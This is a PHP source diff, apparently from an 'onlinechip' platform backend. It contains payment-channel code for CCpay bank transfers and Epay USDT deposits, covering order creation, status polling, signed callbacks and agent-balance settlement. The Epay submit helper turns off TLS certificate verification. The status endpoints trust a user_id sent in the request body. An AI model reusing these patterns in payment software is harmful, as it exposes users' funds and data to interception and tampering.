$data = encrypt_data(['status' => 0, 'message' => 'Tham số không hợp lệ, vui lòng thử lại']);
|
||||
return json(['Success' => 1, 'Data' => $data]);
|
||||
}
|
||||
|
||||
$zdlIdArr = explode(',', $user['agent_parent_id_path']);
|
||||
$area_list = config('area_list');
|
||||
|
||||
if (!isset($area_list[$user['area_id']])) {
|
||||
$data = encrypt_data(['status' => 0, 'message' => 'Khu vực hiện chưa hỗ trợ nạp tiền']);
|
||||
return json(['Success' => 1, 'Data' => $data]);
|
||||
}
|
||||
|
||||
$limitAgents = $area_list[$user['area_id']]['limit_agent'];
|
||||
$isAllow = empty($limitAgents);
|
||||
foreach ($limitAgents as $allowAgentId) {
|
||||
if (in_array($allowAgentId, $zdlIdArr)) {
|
||||
$isAllow = true;
|
||||
}
|
||||
}
|
||||
if (!$isAllow) {
|
||||
$data = encrypt_data(['status' => 0, 'message' => 'Tài khoản này chưa được phép nạp online']);
|
||||
return json(['Success' => 1, 'Data' => $data]);
|
||||
}
|
||||
|
||||
$zdlId = $zdlIdArr[0];
|
||||
$zdl = Db::name('user')->where([
|
||||
'id' => $zdlId,
|
||||
'status' => 1,
|
||||
'is_delete' => 0,
|
||||
'agent' => 1,
|
||||
])->find();
|
||||
|
||||
if (!$zdl) {
|
||||
$data = encrypt_data(['status' => 0, 'message' => 'Tài khoản đại lý có vấn đề, không thể nạp']);
|
||||
return json(['Success' => 1, 'Data' => $data]);
|
||||
}
|
||||
if ($zdl['money'] < $money) {
|
||||
$maxAllowed = intval($zdl['money']);
|
||||
$data = encrypt_data([
|
||||
'status' => 0,
|
||||
'code' => 'AGENT_LIMIT',
|
||||
'message' => 'Hạn mức nạp mỗi lần hiện tại là ' . number_format($maxAllowed, 0, '.', ',') . ' VND. Vui lòng nhập số tiền nhỏ hơn hoặc bằng mức trên.',
|
||||
'max_amount' => $maxAllowed,
|
||||
]);
|
||||
return json(['Success' => 1, 'Data' => $data]);
|
||||
}
|
||||
|
||||
$pay_list = config('pay_list');
|
||||
$pay_orderid = 'C' . date('YmdHis') . rand(100000, 999999);
|
||||
$notify_url = $pay_list['ccpay']['notify_url'] ?? '';
|
||||
$timeout = intval($pay_list['ccpay']['timeout'] ?? 600);
|
||||
|
||||
try {
|
||||
$ccpay = new \pay\Ccpay();
|
||||
$result = $ccpay->createOrder(
|
||||
$pay_orderid,
|
||||
sprintf('%.0f', $money),
|
||||
$notify_url,
|
||||
'uid_' . $user_id
|
||||
);
|
||||
|
||||
if (!is_array($result)) {
|
||||
addLogToFile('ccpay 下单: API 无响应', 'ccpay_error', 'ccpay');
|
||||
$data = encrypt_data(['status' => 0, 'message' => 'Kênh thanh toán không phản hồi, vui lòng thử lại']);
|
||||
return json(['Success' => 1, 'Data' => $data]);
|
||||
}
|
||||
|
||||
$status = intval($result['status'] ?? -1);
|
||||
$resultCode = intval($result['resultCode'] ?? -1);
|
||||
|
||||
if ($status !== 0 || $resultCode !== 0) {
|
||||
$errMsg = $result['errMsg'] ?? 'Lỗi không xác định';
|
||||
addLogToFile('ccpay 下单失败: order=' . $pay_orderid . ' err=' . $errMsg . ' raw=' . json_encode($result, JSON_UNESCAPED_UNICODE), 'ccpay_error', 'ccpay');
|
||||
$data = encrypt_data(['status' => 0, 'message' => 'Khởi tạo thanh toán thất bại: ' . $errMsg]);
|
||||
return json(['Success' => 1, 'Data' => $data]);
|
||||
}
|
||||
|
||||
$order_id = Db::name('order_record')->insertGetId([
|
||||
'pay_channel_id' => 9,
|
||||
'pay_channel_name' => 'ccpay',
|
||||
'user_id' => $user_id,
|
||||
'order_sn' => $pay_orderid,
|
||||
'appid' => $ccpay->getConfigInfo()['mch_no'] ?? '',
|
||||
'api_key' => '',
|
||||
'money' => $money,
|
||||
'sign' => '',
|
||||
'create_time' => time(),
|
||||
'back_order_sn' => $result['cpOrderNo'] ?? '',
|
||||
'client' => $client,
|
||||
]);
|
||||
|
||||
Db::name('order_log')->insert([
|
||||
'pay_channel_id' => 9,
|
||||
'pay_channel_name' => 'ccpay',
|
||||
'money' => $money,
|
||||
'create_time' => time(),
|
||||
'remake' => 'user_id:' . $user_id . ',用户名:' . $username . ',CCpay发起充值:' . $money . ',时间:' . date('Y-m-d H:i:s'),
|
||||
'order_id' => $order_id,
|
||||
'client' => $client,
|
||||
]);
|
||||
|
||||
$codeUrl = $result['codeUrl'] ?? '';
|
||||
$qrcode = null;
|
||||
|
||||
$msgJson = $result['message'] ?? '';
|
||||
if ($msgJson) {
|
||||
$bankInfo = json_decode($msgJson, true);
|
||||
if (is_array($bankInfo) && !empty($bankInfo['AccNo'])) {
|
||||
$expiresAt = time() + $timeout;
|
||||
$qrcode = [
|
||||
'order_sn' => $pay_orderid,
|
||||
'bank_account' => $bankInfo['AccNo'] ?? '',
|
||||
'bank_name' => $bankInfo['AccName'] ?? '',
|
||||
'bank_branch' => $bankInfo['Branch'] ?? '',
|
||||
'bank_short' => $bankInfo['BankShortName'] ?? '',
|
||||
'qr_data' => $bankInfo['qrcode'] ?? '',
|
||||
'remark' => $bankInfo['remark'] ?? '',
|
||||
'amount' => $money,
|
||||
'expires_at' => $expiresAt,
|
||||
'timeout_sec' => $timeout,
|
||||
];
|
||||
}
|
||||
}
|
||||
|
||||
addLogToFile('ccpay 下单成功: order=' . $pay_orderid . ' cp=' . ($result['cpOrderNo'] ?? ''), 'ccpay_request', 'ccpay');
|
||||
|
||||
$data = encrypt_data([
|
||||
'status' => 1,
|
||||
'message' => 'Khởi tạo thanh toán thành công',
|
||||
'url' => $codeUrl,
|
||||
'qrcode' => $qrcode,
|
||||
]);
|
||||
return json(['Success' => 1, 'Data' => $data]);
|
||||
} catch (\Exception $e) {
|
||||
addLogToFile('ccpay 下单异常: ' . $e->getMessage() . ' | file:' . $e->getFile() . ':' . $e->getLine(), 'ccpay_error', 'ccpay');
|
||||
$data = encrypt_data(['status' => 0, 'message' => 'Khởi tạo thanh toán thất bại: ' . $e->getMessage()]);
|
||||
return json(['Success' => 1, 'Data' => $data]);
|
||||
}
|
||||
}
|
||||
|
||||
public function ccpay_order_status()
|
||||
{
|
||||
$post = Request::instance()->post();
|
||||
if (isset($post['encryptData'])) {
|
||||
$post = decrypt_data($post);
|
||||
if (!$post) {
|
||||
return json(['status' => 0, 'message' => '数据解密失败']);
|
||||
}
|
||||
}
|
||||
|
||||
$order_sn = trim($post['order_sn'] ?? '');
|
||||
$user_id = intval($post['user_id'] ?? 0);
|
||||
|
||||
if ($order_sn === '' || $user_id <= 0) {
|
||||
$data = encrypt_data(['status' => 0, 'message' => '参数错误']);
|
||||
return json(['Success' => 1, 'Data' => $data]);
|
||||
}
|
||||
|
||||
$order = Db::name('order_record')
|
||||
->where([
|
||||
'order_sn' => $order_sn,
|
||||
'user_id' => $user_id,
|
||||
'pay_channel_id' => 9,
|
||||
])
|
||||
->find();
|
||||
|
||||
if (!$order) {
|
||||
$data = encrypt_data(['status' => 0, 'message' => '订单不存在']);
|
||||
return json(['Success' => 1, 'Data' => $data]);
|
||||
}
|
||||
|
||||
if (intval($order['status']) == 3) {
|
||||
$data = encrypt_data([
|
||||
'status' => 1,
|
||||
'message' => 'Nạp tiền thành công',
|
||||
'money' => $order['money'],
|
||||
'paid_time' => $order['back_time'],
|
||||
]);
|
||||
return json(['Success' => 1, 'Data' => $data]);
|
||||
}
|
||||
|
||||
$pay_list = config('pay_list');
|
||||
$timeout = intval($pay_list['ccpay']['timeout'] ?? 600);
|
||||
if (time() - intval($order['create_time']) > $timeout) {
|
||||
$data = encrypt_data([
|
||||
'status' => 2,
|
||||
'message' => 'Đơn hàng đã hết hạn',
|
||||
'money' => $order['money'],
|
||||
]);
|
||||
return json(['Success' => 1, 'Data' => $data]);
|
||||
}
|
||||
|
||||
$data = encrypt_data([
|
||||
'status' => 0,
|
||||
'message' => 'Đang chờ thanh toán',
|
||||
'money' => $order['money'],
|
||||
]);
|
||||
return json(['Success' => 1, 'Data' => $data]);
|
||||
}
|
||||
|
||||
public function ccpay_recharge_callback()
|
||||
{
|
||||
$raw = file_get_contents('php://input');
|
||||
$post = json_decode($raw, true);
|
||||
if (!$post) {
|
||||
$post = Request::instance()->post();
|
||||
}
|
||||
|
||||
$json = json_encode($post, JSON_UNESCAPED_UNICODE);
|
||||
addLogToFile('ccpay 回调原始数据: ' . $json, 'ccpay_callback', 'ccpay');
|
||||
|
||||
if (!is_array($post) || empty($post['mchOrderNo']) || empty($post['sign'])) {
|
||||
Log::record($post, 'ccpay_error_callback');
|
||||
exit('fail');
|
||||
}
|
||||
|
||||
$logId = Db::name('pay_callback_log')->insertGetId([
|
||||
'pay_channel' => 'CCPAY_RECHARGE',
|
||||
'type' => 'recharge',
|
||||
'json' => $json,
|
||||
'create_time' => date('Y-m-d H:i:s'),
|
||||
]);
|
||||
|
||||
try {
|
||||
$ccpay = new \pay\Ccpay();
|
||||
|
||||
$verifyData = [];
|
||||
$verifyData['status'] = strval($post['status'] ?? '');
|
||||
$verifyData['mchNo'] = $post['mchNo'] ?? '';
|
||||
$verifyData['resultCode'] = strval($post['resultCode'] ?? '');
|
||||
$verifyData['cpOrderNo'] = $post['cpOrderNo'] ?? '';
|
||||
$verifyData['mchOrderNo'] = $post['mchOrderNo'] ?? '';
|
||||
$verifyData['amount'] = strval($post['amount'] ?? '');
|
||||
$verifyData['payResult'] = $post['payResult'] ?? '';
|
||||
$verifyData['traceTime'] = $post['traceTime'] ?? '';
|
||||
$verifyData['message'] = $post['message'] ?? '';
|
||||
|
||||
$signData = array_filter($verifyData, function ($v) {
|
||||
return $v !== '' && $v !== null;
|
||||
});
|
||||
$signData['sign'] = $post['sign'];
|
||||
|
||||
if (!$ccpay->verifySign($signData)) {
|
||||
addLogToFile('ccpay 回调验签失败: ' . $json, 'ccpay_callback_error', 'ccpay');
|
||||
exit('fail');
|
||||
}
|
||||
|
||||
if ($logId && !empty($post['mchOrderNo'])) {
|
||||
Db::name('pay_callback_log')->where('id', $logId)->update(['unique_no' => $post['mchOrderNo']]);
|
||||
}
|
||||
|
||||
$payResult = strval($post['payResult'] ?? '');
|
||||
|
||||
if ($payResult === '0') {
|
||||
$this->ccpay_recharge_settle($post);
|
||||
addLogToFile('ccpay 回调成功: order=' . $post['mchOrderNo'], 'ccpay_callback', 'ccpay');
|
||||
exit('success');
|
||||
} else {
|
||||
addLogToFile('ccpay 回调非成功状态: payResult=' . $payResult . ' order=' . $post['mchOrderNo'], 'ccpay_callback', 'ccpay');
|
||||
exit('success');
|
||||
}
|
||||
} catch (\Exception $e) {
|
||||
addLogToFile('ccpay 回调异常: ' . $e->getMessage(), 'ccpay_callback_error', 'ccpay');
|
||||
exit('fail');
|
||||
}
|
||||
}
|
||||
|
||||
private function ccpay_recharge_settle($data)
|
||||
{
|
||||
$orderNo = $data['mchOrderNo'];
|
||||
|
||||
Db::startTrans();
|
||||
try {
|
||||
$order = Db::name('order_record')->where('order_sn', $orderNo)->lock(true)->find();
|
||||
if (!$order || $order['status'] == 3) {
|
||||
Db::rollback();
|
||||
return;
|
||||
}
|
||||
|
||||
$user = Db::name('user')->where([
|
||||
'id' => $order['user_id'],
|
||||
'status' => 1,
|
||||
'is_delete' => 0,
|
||||
'agent' => 0,
|
||||
])->lock(true)->find();
|
||||
if (!$user) {
|
||||
Db::rollback();
|
||||
return;
|
||||
}
|
||||
|
||||
$zdlIdArr = explode(',', $user['agent_parent_id_path']);
|
||||
$zdlId = $zdlIdArr[0];
|
||||
|
||||
$zdl = Db::name('user')->where([
|
||||
'id' => $zdlId,
|
||||
'status' => 1,
|
||||
'is_delete' => 0,
|
||||
'agent' => 1,
|
||||
])->lock(true)->find();
|
||||
|
||||
if (!$zdl || $zdl['money'] < $order['money']) {
|
||||
Db::rollback();
|
||||
addLogToFile('ccpay 结算失败: 代理余额不足 order=' . $orderNo, 'ccpay_callback_error', 'ccpay');
|
||||
return;
|
||||
}
|
||||
|
||||
$actualMoney = isset($data['amount']) ? intval($data['amount']) : $order['money'];
|
||||
|
||||
Db::name('order_record')->where('id', $order['id'])->update([
|
||||
'back_money' => $actualMoney,
|
||||
'back_time' => time(),
|
||||
'status' => 3,
|
||||
'agent_parent_id' => $user['agent_parent_id'],
|
||||
'agent_parent_username' => $user['agent_parent_username'],
|
||||
'zdl_id' => $zdl['id'],
|
||||
'zdl_username' => $zdl['username'],
|
||||
'zdl_money_before' => $zdl['money'],
|
||||
'zdl_money_after' => $zdl['money'] - $order['money'],
|
||||
'money_before' => $user['money'],
|
||||
'money_after' => $user['money'] + $order['money'],
|
||||
]);
|
||||
|
||||
Db::name('order_log')->insert([
|
||||
'pay_channel_id' => 9,
|
||||
'pay_channel_name' => 'ccpay',
|
||||
'money' => $order['money'],
|
||||
'create_time' => time(),
|
||||
'remake' => 'CCpay回调成功 cp=' . ($data['cpOrderNo'] ?? '') . ' payer=' . ($data['message'] ?? ''),
|
||||
'order_id' => $order['id'],
|
||||
]);
|
||||
|
||||
Db::name('recharge')->insert([
|
||||
'type' => 4,
|
||||
'amount' => $order['money'],
|
||||
'mode' => 1,
|
||||
'agent_or_admin' => 3,
|
||||
'controller_id' => $zdl['id'],
|
||||
'controller_username' => $zdl['username'],
|
||||
'controller_nickname' => $zdl['nickname'],
|
||||
'controller_type' => 'CCpay越南银行第三方充值,扣取总代理余分',
|
||||
'controller_old_money' => $zdl['money'],
|
||||
'controller_new_money' => $zdl['money'] - $order['money'],
|
||||
'user_id' => $order['user_id'],
|
||||
'user_type' => $user['agent'],
|
||||
'user_agent_level' => 0,
|
||||
'username_for' => $user['username'],
|
||||
'nickname_for' => $user['nickname'],
|
||||
'user_parent_id' => $user['agent_parent_id'],
|
||||
'create_time' => time(),
|
||||
'old_money' => $user['money'],
|
||||
'new_money' => $user['money'] + $order['money'],
|
||||
'controller_system' => 3,
|
||||
'remake' => 'CCpay越南银行第三方充值成功',
|
||||
]);
|
||||
|
||||
Db::name('user')->where('id', $zdl['id'])->update([
|
||||
'money' => $zdl['money'] - $order['money'],
|
||||
'last_recharge_out' => $order['money'],
|
||||
'last_recharge_out_time' => time(),
|
||||
'recharge_out_count' => $zdl['recharge_out_count'] + 1,
|
||||
'recharge_out_total_amount' => $zdl['recharge_out_total_amount'] + $order['money'],
|
||||
]);
|
||||
|
||||
Db::name('user')->where('id', $order['user_id'])->update([
|
||||
'money' => $user['money'] + $order['money'],
|
||||
'last_recharge' => $order['money'],
|
||||
'last_recharge_time' => time(),
|
||||
'recharge_count' => $user['recharge_count'] + 1,
|
||||
'recharge_total_amount' => $user['recharge_total_amount'] + $order['money'],
|
||||
]);
|
||||
|
||||
Db::commit();
|
||||
addLogToFile('ccpay 结算成功: order=' . $orderNo . ' money=' . $order['money'], 'ccpay_callback', 'ccpay');
|
||||
} catch (\Exception $e) {
|
||||
Db::rollback();
|
||||
addLogToFile('ccpay 结算异常: ' . $e->getMessage(), 'ccpay_callback_error', 'ccpay');
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,523 +0,0 @@
|
||||
<?php
|
||||
namespace app\onlinechip\controller\traits;
|
||||
|
||||
use think\Db;
|
||||
use think\Log;
|
||||
use think\Request;
|
||||
|
||||
/**
|
||||
* 彩虹易支付 Trait
|
||||
*
|
||||
* 业务定位:
|
||||
* - 作为 AlinPay(越南银行卡)之外的第二个充值通道,走易支付接 USDT/支付宝/微信 等
|
||||
* - 当前主要用于 USDT TRC20 收款
|
||||
*
|
||||
* 对接文件:
|
||||
* - extend/pay/Epay.php
|
||||
* - 支付站点:https://pay.g7g7.top
|
||||
*
|
||||
* 公开方法:
|
||||
* - epay_online_order() 发起充值,前端拿到 url 后跳转易支付
|
||||
* - epay_recharge_callback() 接收易支付异步回调,验签后结算
|
||||
*
|
||||
* 通道编号:
|
||||
* - pay_channel_id = 8(AlinPay 是 7,本通道顺延)
|
||||
* - 名称标识:epay
|
||||
*/
|
||||
trait epayPay
|
||||
{
|
||||
/**
|
||||
* 易支付 - 发起充值下单(内嵌二维码模式)
|
||||
*
|
||||
* 直接跨库写 epay.pre_order + 计算 usdtpro 指纹金额,
|
||||
* 前端内嵌渲染二维码,无需跳转 pay.g7g7.top。
|
||||
*
|
||||
* 返回的 Data 结构:
|
||||
* {
|
||||
* status: 1|0
|
||||
* message: 文案
|
||||
* url: 兼容字段(老前端仍可 window.open 跳转 /pay/leader/trade_no/)
|
||||
* qrcode: { 新字段,前端内嵌渲染
|
||||
* order_sn: OG 侧订单号(用于轮询)
|
||||
* usdt_address: TRC20 收款地址
|
||||
* usdt_amount: 含指纹尾数的精确金额(如 10.0003)
|
||||
* vnd_amount: VND 原始金额
|
||||
* rate: 汇率
|
||||
* expires_at: 订单超时绝对时间戳
|
||||
* timeout_sec: 总超时秒数
|
||||
* }
|
||||
* }
|
||||
*/
|
||||
public function epay_online_order()
|
||||
{
|
||||
// 兼容加密请求(Pcapi)和明文请求(Order)
|
||||
$post = Request::instance()->post();
|
||||
if (isset($post['encryptData'])) {
|
||||
$post = decrypt_data($post);
|
||||
if (!$post) {
|
||||
$data = encrypt_data(['status' => 0, 'message' => 'Dữ liệu không hợp lệ']);
|
||||
return json(['Success' => 1, 'Data' => $data]);
|
||||
}
|
||||
}
|
||||
|
||||
$user_id = intval($post['user_id'] ?? 0);
|
||||
$money = intval($post['price'] ?? 0);
|
||||
$client = intval($post['client'] ?? 0);
|
||||
$username = trim($post['username'] ?? '');
|
||||
// 支付子类型:usdt / alipay / wxpay 等,默认 usdt
|
||||
$pay_type = trim($post['pay_type'] ?? 'usdt');
|
||||
|
||||
$user = Db::name('user')->where([
|
||||
'id' => $user_id,
|
||||
'status' => 1,
|
||||
'is_delete' => 0,
|
||||
'agent' => 0,
|
||||
])->find();
|
||||
|
||||
if (!$user || $user_id <= 0 || $money <= 0 || $client <= 0) {
|
||||
$data = encrypt_data(['status' => 0, 'message' => 'Tham số không hợp lệ, vui lòng thử lại']);
|
||||
return json(['Success' => 1, 'Data' => $data]);
|
||||
}
|
||||
|
||||
// 地区支线权限(与 AlinPay 一致的风控)
|
||||
$zdlIdArr = explode(',', $user['agent_parent_id_path']);
|
||||
$area_list = config('area_list');
|
||||
|
||||
if (!isset($area_list[$user['area_id']])) {
|
||||
$data = encrypt_data(['status' => 0, 'message' => 'Khu vực hiện chưa hỗ trợ nạp tiền']);
|
||||
return json(['Success' => 1, 'Data' => $data]);
|
||||
}
|
||||
|
||||
$limitAgents = $area_list[$user['area_id']]['limit_agent'];
|
||||
$isAllow = empty($limitAgents);
|
||||
foreach ($limitAgents as $allowAgentId) {
|
||||
if (in_array($allowAgentId, $zdlIdArr)) {
|
||||
$isAllow = true;
|
||||
}
|
||||
}
|
||||
if (!$isAllow) {
|
||||
$data = encrypt_data(['status' => 0, 'message' => 'Tài khoản này chưa được phép nạp online']);
|
||||
return json(['Success' => 1, 'Data' => $data]);
|
||||
}
|
||||
|
||||
// 总代理余额校验
|
||||
$zdlId = $zdlIdArr[0];
|
||||
$zdl = Db::name('user')->where([
|
||||
'id' => $zdlId,
|
||||
'status' => 1,
|
||||
'is_delete' => 0,
|
||||
'agent' => 1,
|
||||
])->find();
|
||||
|
||||
if (!$zdl) {
|
||||
$data = encrypt_data(['status' => 0, 'message' => 'Tài khoản đại lý có vấn đề, không thể nạp']);
|
||||
return json(['Success' => 1, 'Data' => $data]);
|
||||
}
|
||||
if ($zdl['money'] < $money) {
|
||||
$maxAllowed = intval($zdl['money']);
|
||||
$data = encrypt_data([
|
||||
'status' => 0,
|
||||
'code' => 'AGENT_LIMIT',
|
||||
'message' => 'Hạn mức nạp mỗi lần hiện tại là ' . number_format($maxAllowed, 0, '.', ',') . ' VND. Vui lòng nhập số tiền nhỏ hơn hoặc bằng mức trên.',
|
||||
'max_amount' => $maxAllowed,
|
||||
]);
|
||||
return json(['Success' => 1, 'Data' => $data]);
|
||||
}
|
||||
|
||||
$pay_list = config('pay_list');
|
||||
$pay_orderid = 'P' . date('YmdHis') . rand(100000, 999999); // P 前缀区分 AlinPay 的 E
|
||||
$notify_url = $pay_list['epay']['notify_url'] ?? '';
|
||||
$return_url = $pay_list['epay']['callback_url'] ?? '';
|
||||
$goods_name = $pay_list['epay']['goods_name'] ?? '账户充值';
|
||||
$epay_api = $pay_list['epay']['api_url'] ?? 'https://pay.g7g7.top';
|
||||
$merchant_id = intval($pay_list['epay']['pid'] ?? 0);
|
||||
|
||||
try {
|
||||
$epay = new \pay\Epay();
|
||||
|
||||
// 写 OG 侧订单
|
||||
$order_id = Db::name('order_record')->insertGetId([
|
||||
'pay_channel_id' => 8,
|
||||
'pay_channel_name' => 'epay',
|
||||
'user_id' => $user_id,
|
||||
'order_sn' => $pay_orderid,
|
||||
'appid' => strval($epay->getConfigInfo()['pid'] ?? ''),
|
||||
'api_key' => '',
|
||||
'money' => $money,
|
||||
'sign' => '',
|
||||
'create_time' => time(),
|
||||
'back_order_sn' => '',
|
||||
'client' => $client,
|
||||
]);
|
||||
|
||||
Db::name('order_log')->insert([
|
||||
'pay_channel_id' => 8,
|
||||
'pay_channel_name' => 'epay',
|
||||
'money' => $money,
|
||||
'create_time' => time(),
|
||||
'remake' => 'user_id:' . $user_id . ',用户名:' . $username . ',发起充值(' . $pay_type . '):' . $money . ',时间:' . date('Y-m-d H:i:s'),
|
||||
'order_id' => $order_id,
|
||||
'client' => $client,
|
||||
]);
|
||||
|
||||
// 调用 epay 的 mapi.php,让 epay 自己走完整个流程:
|
||||
// 1) INSERT pre_order
|
||||
// 2) Channel::submit 算通道
|
||||
// 3) Plugin::loadForSubmit → usdtpro_plugin::submit() 算 usdtpro 指纹金额并写入 pre_order
|
||||
// 4) 返回 {type:'jump', url:'/pay/leader/TRADE_NO/'}
|
||||
// 注意:usdtpro 指纹金额必须由 epay 侧算,OG 侧算会与 monitor 对账逻辑产生精度漂移,导致充值不到账
|
||||
$apiResult = $epay->createOrderApi(
|
||||
$pay_orderid,
|
||||
$pay_type,
|
||||
sprintf('%.2f', $money),
|
||||
$goods_name,
|
||||
$notify_url,
|
||||
$return_url,
|
||||
'uid:' . $user_id
|
||||
);
|
||||
|
||||
// mapi.php 返回格式:
|
||||
// {code:0, trade_no, pay_type:'jump', pay_info:'/pay/submit/TRADE_NO/'} 或
|
||||
// {code:0, trade_no, payurl:'/pay/submit/TRADE_NO/'} (default 分支)
|
||||
// {code:1, trade_no, payurl:'...'} (部分旧版)
|
||||
$submitUrl = '';
|
||||
$trade_no = '';
|
||||
if (is_array($apiResult)) {
|
||||
if (!empty($apiResult['trade_no'])) $trade_no = strval($apiResult['trade_no']);
|
||||
if (!empty($apiResult['payurl'])) $submitUrl = $apiResult['payurl'];
|
||||
elseif (!empty($apiResult['pay_info'])) $submitUrl = $apiResult['pay_info'];
|
||||
elseif (!empty($apiResult['url'])) $submitUrl = $apiResult['url'];
|
||||
}
|
||||
|
||||
if (!$submitUrl || !$trade_no) {
|
||||
$errMsg = is_array($apiResult) ? (isset($apiResult['msg']) ? $apiResult['msg'] : json_encode($apiResult, JSON_UNESCAPED_UNICODE)) : 'mapi 无响应';
|
||||
addLogToFile('epay mapi 下单失败:order=' . $pay_orderid . ' err=' . $errMsg, 'epay_error', 'epay');
|
||||
$data = encrypt_data(['status' => 0, 'message' => 'Khởi tạo thanh toán thất bại: ' . $errMsg]);
|
||||
return json(['Success' => 1, 'Data' => $data]);
|
||||
}
|
||||
|
||||
// 触发 plugin::submit() 把 usdtpro 指纹金额写入 pre_order
|
||||
// mapi 模式 Plugin::loadForSubmit 只调 mapi() 方法,usdtpro 插件没这个方法,
|
||||
// 所以 usdtpro 不会被写入。必须再访问一次 /pay/submit/TRADE_NO/ 让插件 submit() 跑一次
|
||||
$this->epay_trigger_plugin_submit($submitUrl);
|
||||
|
||||
// 跳转到用户看的页面(pay/leader/TRADE_NO/)
|
||||
$payUrl = str_replace('/pay/submit/', '/pay/leader/', $submitUrl);
|
||||
|
||||
// 默认返回结构(若后续读取 usdtpro 失败仍可回退跳转)
|
||||
$qrcode = null;
|
||||
|
||||
if ($pay_type === 'usdt' && $trade_no) {
|
||||
// 从 epay.pre_order 读 epay 已经算好的 usdtpro 指纹金额 + 通道地址
|
||||
$preOrder = Db::query(
|
||||
"SELECT o.`trade_no`, o.`usdtpro`, o.`realmoney`, o.`addtime`, c.`config`
|
||||
FROM `epay`.`pre_order` o
|
||||
LEFT JOIN `epay`.`pre_channel` c ON c.`id` = o.`channel`
|
||||
WHERE o.`trade_no` = :tn LIMIT 1",
|
||||
['tn' => $trade_no]
|
||||
);
|
||||
|
||||
if (!empty($preOrder) && !empty($preOrder[0]['usdtpro'])) {
|
||||
$row = $preOrder[0];
|
||||
$cfg = json_decode($row['config'] ?? '{}', true) ?: [];
|
||||
$timeout = intval($cfg['timeout'] ?? 600);
|
||||
$expiresAt = strtotime($row['addtime']) + $timeout;
|
||||
|
||||
$qrcode = [
|
||||
'order_sn' => $pay_orderid,
|
||||
'trade_no' => $row['trade_no'],
|
||||
'usdt_address' => $cfg['address'] ?? '',
|
||||
'usdt_amount' => rtrim(rtrim(sprintf('%.5f', floatval($row['usdtpro'])), '0'), '.'),
|
||||
'vnd_amount' => $row['realmoney'],
|
||||
'rate' => strval($cfg['rate'] ?? ''),
|
||||
'expires_at' => $expiresAt,
|
||||
'timeout_sec' => $timeout,
|
||||
];
|
||||
addLogToFile('epay 下单读取 usdtpro 成功: order=' . $pay_orderid . ' trade_no=' . $trade_no . ' usdt=' . $qrcode['usdt_amount'], 'epay_request', 'epay');
|
||||
} else {
|
||||
addLogToFile('epay 下单 pre_order 未取到 usdtpro: order=' . $pay_orderid . ' trade_no=' . $trade_no, 'epay_error', 'epay');
|
||||
}
|
||||
}
|
||||
|
||||
$data = encrypt_data([
|
||||
'status' => 1,
|
||||
'message' => 'Khởi tạo thanh toán thành công',
|
||||
'url' => $payUrl, // 兼容老前端
|
||||
'qrcode' => $qrcode, // 新前端内嵌渲染用(usdtpro 由 epay 权威给出)
|
||||
]);
|
||||
return json(['Success' => 1, 'Data' => $data]);
|
||||
} catch (\Exception $e) {
|
||||
addLogToFile('epay 下单异常:' . $e->getMessage() . ' | file:' . $e->getFile() . ':' . $e->getLine(), 'epay_error', 'epay');
|
||||
$data = encrypt_data(['status' => 0, 'message' => 'Khởi tạo thanh toán thất bại: ' . $e->getMessage()]);
|
||||
return json(['Success' => 1, 'Data' => $data]);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 触发 epay plugin::submit() 写入 usdtpro 指纹金额
|
||||
* 只请求不处理响应(epay 会返回 302 或 HTML,我们只要副作用)
|
||||
*/
|
||||
private function epay_trigger_plugin_submit($submitUrl)
|
||||
{
|
||||
try {
|
||||
$ch = curl_init($submitUrl);
|
||||
curl_setopt_array($ch, [
|
||||
CURLOPT_RETURNTRANSFER => true,
|
||||
CURLOPT_FOLLOWLOCATION => false,
|
||||
CURLOPT_CONNECTTIMEOUT => 3,
|
||||
CURLOPT_TIMEOUT => 6,
|
||||
CURLOPT_SSL_VERIFYPEER => false,
|
||||
CURLOPT_SSL_VERIFYHOST => false,
|
||||
CURLOPT_USERAGENT => 'OG-EpayInternal/1.0',
|
||||
]);
|
||||
curl_exec($ch);
|
||||
curl_close($ch);
|
||||
} catch (\Exception $e) {
|
||||
addLogToFile('epay_trigger_plugin_submit 异常:' . $e->getMessage(), 'epay_error', 'epay');
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 易支付 - 订单状态轮询
|
||||
*
|
||||
* 前端轮询该接口,判断是否到账或已超时。
|
||||
* 返回 Data 结构:
|
||||
* { status: 0|1|2, message, money, paid_time }
|
||||
* 0=待支付, 1=已到账, 2=已超时
|
||||
*/
|
||||
public function epay_order_status()
|
||||
{
|
||||
$post = Request::instance()->post();
|
||||
if (isset($post['encryptData'])) {
|
||||
$post = decrypt_data($post);
|
||||
if (!$post) {
|
||||
return json(['status' => 0, 'message' => '数据解密失败']);
|
||||
}
|
||||
}
|
||||
|
||||
$order_sn = trim($post['order_sn'] ?? '');
|
||||
$user_id = intval($post['user_id'] ?? 0);
|
||||
|
||||
if ($order_sn === '' || $user_id <= 0) {
|
||||
$data = encrypt_data(['status' => 0, 'message' => '参数错误']);
|
||||
return json(['Success' => 1, 'Data' => $data]);
|
||||
}
|
||||
|
||||
$order = Db::name('order_record')
|
||||
->where([
|
||||
'order_sn' => $order_sn,
|
||||
'user_id' => $user_id,
|
||||
'pay_channel_id' => 8,
|
||||
])
|
||||
->find();
|
||||
|
||||
if (!$order) {
|
||||
$data = encrypt_data(['status' => 0, 'message' => '订单不存在']);
|
||||
return json(['Success' => 1, 'Data' => $data]);
|
||||
}
|
||||
|
||||
// status=3 代表已回调结算完成(见 epay_recharge_settle)
|
||||
if (intval($order['status']) == 3) {
|
||||
$data = encrypt_data([
|
||||
'status' => 1,
|
||||
'message' => '充值成功',
|
||||
'money' => $order['money'],
|
||||
'paid_time' => $order['back_time'],
|
||||
]);
|
||||
return json(['Success' => 1, 'Data' => $data]);
|
||||
}
|
||||
|
||||
// 超时判定:从 epay 配置拿 timeout,兜底 600
|
||||
$pay_list = config('pay_list');
|
||||
$timeout = intval($pay_list['epay']['timeout'] ?? 600);
|
||||
if (time() - intval($order['create_time']) > $timeout) {
|
||||
$data = encrypt_data([
|
||||
'status' => 2,
|
||||
'message' => '订单超时',
|
||||
'money' => $order['money'],
|
||||
]);
|
||||
return json(['Success' => 1, 'Data' => $data]);
|
||||
}
|
||||
|
||||
$data = encrypt_data([
|
||||
'status' => 0,
|
||||
'message' => '等待支付',
|
||||
'money' => $order['money'],
|
||||
]);
|
||||
return json(['Success' => 1, 'Data' => $data]);
|
||||
}
|
||||
|
||||
/**
|
||||
* 易支付 - 异步回调处理
|
||||
